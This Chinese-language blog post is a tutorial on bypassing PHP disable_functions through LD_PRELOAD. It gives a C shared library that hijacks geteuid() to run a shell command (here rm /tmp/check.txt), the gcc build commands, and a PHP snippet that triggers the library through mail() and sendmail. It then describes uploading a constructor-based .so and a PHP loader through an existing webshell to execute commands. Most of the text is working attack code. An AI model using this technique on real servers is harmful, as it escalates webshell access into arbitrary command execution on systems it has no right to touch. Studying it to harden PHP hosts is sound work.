nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

利用LD绕过disable_function

利用LD_PRELOAD绕过

基本逻辑
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了

LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。
下面举个简单的例子来理解的LD_PRELOAD作用
2024-01-29T12:29:11.png
我们来看一下sendmail函数都调用了哪些库函数,使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数:
我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt

编写hack.c:

#!c
#include <stdlib.h>
#include <stdio.h>
#include <string.h> 

void payload() {
        system("rm /tmp/check.txt");
}   

int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:

#!shell
$ gcc -c -fPIC hack.c -o hack 

$ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:

#!php
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。

无sendmail利用LD_PRELOAD

PHP 支持putenv()、mail() 即可
GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数.
在具有上传权限的目录一般为tmp,上传我们的exp
bypass_disablefunc.php和bypass_disablefunc_x64.so上传
去文件包含我们的bypass_disablefunc.php,
2024-01-29T12:47:26.png
然后去执行命令,或者yj的插件
2024-01-29T12:48:09.png
点击开始,然后就可以执行命令了。
2024-01-29T12:48:18.png

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 利用LD绕过disable_function

评论